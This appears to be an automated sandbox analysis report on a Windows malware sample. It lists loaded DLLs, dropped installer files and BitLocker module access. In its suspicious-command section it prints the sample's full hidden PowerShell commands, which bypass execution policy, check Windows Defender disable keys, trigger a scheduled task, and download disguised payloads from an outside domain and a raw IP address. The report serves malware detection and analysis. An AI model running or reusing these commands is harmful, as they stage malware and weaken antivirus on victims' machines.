Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2xgfswae.cmdline"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02996111 push esp; ret	3_2_02996113
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02996B21 push eax; ret	3_2_02996B23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_02996FF1 pushad ; ret	3_2_02996FF3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF5398 push ebp; iretd	3_2_06CF55FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF56D0 push esi; iretd	3_2_06CF56DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF1CC4 push esp; iretd	3_2_06CF1CD5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF05C0 push es; iretd	3_2_06CF06FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF5385 push ebx; iretd	3_2_06CF5386
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF5018 push eax; iretd	3_2_06CF5026
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_06CF5038 push ecx; iretd	3_2_06CF51EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0363423B push ebx; ret	13_2_036342DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0363CBF8 push eax; ret	13_2_0363CC01
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08E7DED1 push eax; retf	13_2_08E7DEDD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B37D2A5 pushad ; iretd	15_2_00007FFD9B37D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9B4900BD pushad ; iretd	15_2_00007FFD9B4900C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_041994F0 pushfd ; iretd	19_2_04199579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_041942D2 push ebx; ret	19_2_041942DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_041993F8 pushfd ; iretd	19_2_04199579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04193ACD push ebx; retf	19_2_04193ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F5D491 push esp; ret	19_2_07F5D4A3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F5D046 push ebx; retf	19_2_07F5D055
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F5EF9D pushfd ; iretd	19_2_07F5EFA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F5EF83 pushfd ; iretd	19_2_07F5EF92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F5DF01 pushad ; ret	19_2_07F5DF13
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B2D519 push eax; ret	23_2_04B2D51D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B27610 push esp; ret	23_2_04B27623
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B27660 push eax; ret	23_2_04B27673
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B28290 pushad ; ret	23_2_04B282A3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B2429B push ebx; ret	23_2_04B242DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B2CBE8 push eax; ret	23_2_04B2CBF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_047EC7C1 push esp; ret	27_2_047EC7D3

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID39E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI124C.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\2xgfswae.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3F88.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA47F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9A6C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFFE9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4E2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8A5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB69.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI125.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2950.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6532.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI48.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID39E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI124C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3F88.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA47F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9A6C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFFE9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4E2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8A5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB69.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI125.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2950.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6532.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI48.tmp	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
